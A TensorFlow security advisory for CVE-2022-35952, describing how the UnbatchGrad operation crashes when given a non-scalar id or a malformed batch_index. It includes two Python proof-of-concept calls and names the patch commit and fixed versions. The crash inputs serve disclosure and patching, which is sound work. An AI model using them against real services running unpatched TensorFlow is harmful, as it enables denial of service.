CVE-2022-35952
The UnbatchGradOp function takes an argument id that is assumed to be a scalar. A nonscalar id can trigger a CHECK failure and crash the program.
import numpy as np
import tensorflow as tf
# `id` is not scalar
tf.raw_ops.UnbatchGrad(original_input= tf.constant([1]),batch_index=tf.constant([[0,0,0 ], ], dtype=tf.int64),grad=tf.constant([1,]),id=tf.constant([1,1,], dtype=tf.int64))It also requires its argument batch_index to contain three times the number of elements as indicated in its batch_index.dim_size(0). An incorrect batch_index can trigger a CHECK failure and crash the program.
import numpy as np
import tensorflow as tf
# batch_index's size is not 3
tf.raw_ops.UnbatchGrad(original_input= tf.constant([1]),batch_index=tf.constant([[0,0], ], dtype=tf.int64),grad=tf.constant([1,]),id=tf.constant([1,], dtype=tf.int64))We have patched the issue in GitHub commit 5f945fc6409a3c1e90d6970c9292f805f6e6ddf2.
The fix will be included in TensorFlow 2.10.0. We will also cherrypick this commit on TensorFlow 2.9.1, TensorFlow 2.8.1, and TensorFlow 2.7.2, as these are also affected and still in supported range.
Please consult our security guide for more information regarding the security model and how to contact us with issues and questions.
This vulnerability has been reported by Kang Hong Jin from Singapore Management University and 刘力源 from the Information System & Security and Countermeasures Experiments Center, Beijing Institute of Technology